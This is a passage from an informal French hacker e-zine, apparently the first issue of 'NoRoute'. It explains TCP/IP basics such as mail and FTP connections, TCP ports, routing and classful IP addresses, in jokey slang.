ordinateur est parfois connecte via une ligne modem vers l'ordinateur de
destination, ou via un routeur, il pourrait simplement envoyer les
datagrammes hors de la ligne..
Descriptions generales
======================
ben ouais, si la c'est pas clair, relit depuis le debut :).. Bon aller
rapidement.. TCP/IP est une serie de protocoles. On va voir un petit
exemple plutot que d'expliquer encore la meme chose. Avant tout, il y a un
mail. Donc des commandes a envoyer vers une autre machine, par exemple les
commandes qui disent qui est l'envoyeur, a ki il va et le texte du message.
Ben euh, ce protocole n'assume pas le chat entre les 2 machines ? Et ben,
c'est que le Mail, comme un autre protocole utilise sur le net, utilise
simplement des commandes et de messages a etre envoyes. Il est
concu pour etre utilise avec TCP et IP, et TCP est responsable de faire
passer les commandes vers l'autre bout, puis IP de les envoyer... voila en
bref. (compris maintenant ???) Dit tu aimes le mail ?
Sockets et Applications
=======================
Avant on a cause de la decomposition des donnees en paquets, pour etre envoye
ailleurs, et reassemble de l'autre cote. Avant de continuer, je vais boire
un coup, puis donner quelques detail sur des applications. Suppose voir que
tu veuilles envoyer un fichier a ton pote qui est sur la machine dont
l'adresse est 128.6.4.7. Pour commencer le processus, tu dois savoir plus
qu'une adresse internet. Tu dois te connecter sur un serveur FTP a l'autre
bout. En general, les programmes reseau sont specialises dans ce type de
boulot. La plupart des machines ont plein de programmes qui tournent pour
gerer le transfert de fichiers, le login a distance, courier, serveur fsp
warez (arf), etc... Enfin quand tu te connectes sur 128.6.4.7, tu dois dire
que tu veux parler au serveur FTP. Ce qui est fait en avant des sockets
connus sur chaque serveur. Ye Rappelle que TCP utilise le numero de port pour
garder une trace des conversations en cours. Les programmes de l'utilisateur
utilisent normalement plus ou moins de ports au hasard, bienque les ports
specifiques sont assignes pour les programmes qui attendent une demande
particuliere. Par exemple. si tu veux envoyer un fichier, tu commences a
lancer ftp, il ouvriera une connection sur un port au hasard, par exemple
1234, pour le port utilise a l'autre bout. Enfin il specifiera le port 21 de
l'autre cote, qui est le port officiel des serveurs ftp. Note quand meme qu'il
y a deux differents programmes en cours.. Tu lances ftp de ton cote, Il y a
un programme dont le but est d'accepter des commandes depuis ton terminal et
qui les balances de l'autre cote, ce programme qui te cause c'est le serveur
FTP. Il a ete designe pour accepter des commandes depuis la connection reseau.
Aussi une connection est decrite par ces 4 nombres :
Addresses Internet Ports TCP
connection 128.6.4.194, 128.6.4.7 1234, 21
||333|o||
| |
| O - O |
| I | <--- CoD4 <Da KiNG iN a WoRLD o'LaMaH>
| \___/ |
|_______|
Et ben donc on peut dire FTP c nul a chier !! Il a besoin de deux connections,
il commence comme le mail, et on lui dit "connecte moi sous tel utilisateur",
"tiens voila mon mot de passe", "envoie moi ce fichier avec ce nom"... Et des
que tout ca est fait, une seconde connection est ouverte pour les donnees
seules. Il serait certainement possible d'envoyer les donnees sur la meme
connection, comme SMTP fait, mais bon c comme ca et c tout et arrete de poser
des questions ! :). En fait je vais dire plutot c car les transferts de files
sont souvent long (merci a billou pour son gros win97 que tout le monde
s'envoie en ftp et sature notre pov'rezo). Ceux qui ont cree le ftp ont
voulu permettre a l'utilisateur de permettre d'envoyer des commandes pendant
le transfert, tel que abandonner le transfert en cours, arf..
D'autres protocoles utilisent un principe plus ou moins similaire.. Et si ca
te passionne, matte toujours les RFCs...
Le rewtage facile (routage)
===========================
Bon donc c'est IP qui est responsable du routage. Et pour plus d'infos voir
http://www.cisco.com/ si tu as besoin d'un routeur par exemple :) (non je ne
fais poa de pub!)
Adresses Internet (petite notion)
=================
Donc les adresses internet
sont codees sur 32 bits, ecrites sous la forme de
4 octets (en decimal), par ex. 128.6.4.7. Actuellement il y a 3 types
d'adresses. Le probleme est que l'adresse doit indiquer a la fois le
reseau ainsi que la machine a l'interieur du reseau. Donc on a les
classes IP. La classe A, pour les reseaux immenses, tels que Arpanet, cette
classe est limite a 126 reseaux au total. Pour les gros reseaux, il y a la
classe B, qui correspond a tous les reseaux entre 128.1 et 191.254, ce qui
permet d'adresses le reseau local sur 16 bits, donc d'avoir 64516 machines,
ce qui suffit pour la plupart des organisations, en si ca ne suffit pas,
on peut avoir plusieurs classes B :). Finalement, la classe C, dont la
partie reseau est codee sur 3 octets, de 192.1.1 et 223.254.254, permet
d'avoir 254 machines sur chaque reseau, mais on peut avoir beaucoup de tels
reseaux. Les adresses au dela de 223 sont reservees pour un futur usage, en
tant que classes D et E, qui ne sont pas encore definies (enfin p'etre..)
Quelques valeurs speciales qui sont reservees dans les adresses IP, 0
et 255 qui ont des significations particulieres, 0 pour les machines qui ne
connaissent pas leur adresses. 255 est utilise pour le broadcast, qui est un
message que tu veux que chaque machine sur le reseau voie, c'est utilise par
exemple quand tu ne sais pas a qui parler, par exemple suppose que tu dois
trouver l'adresse internet d'une machine a partir de son nom.
Parfois tu ne sais pas quelle est l'adresse du serveur de noms le plus
proche. Dans ce cas, p'etre tu envoie une requete au broadcast. A moins
que ce soit une universite martienne, t'auras pas de machines en 255, arf...
To be continued..
=================
===============================================================================
Ainsi s'acheve le premier NoRoute....
La precipitation et d'autres facteurs font que quelques erreurs ont pu se
glisser dans ce numero.. Nous esperons que ce mag vous a plu et que vous en
redemanderez...
A bientot donc pour l'issue 2...
[EOF]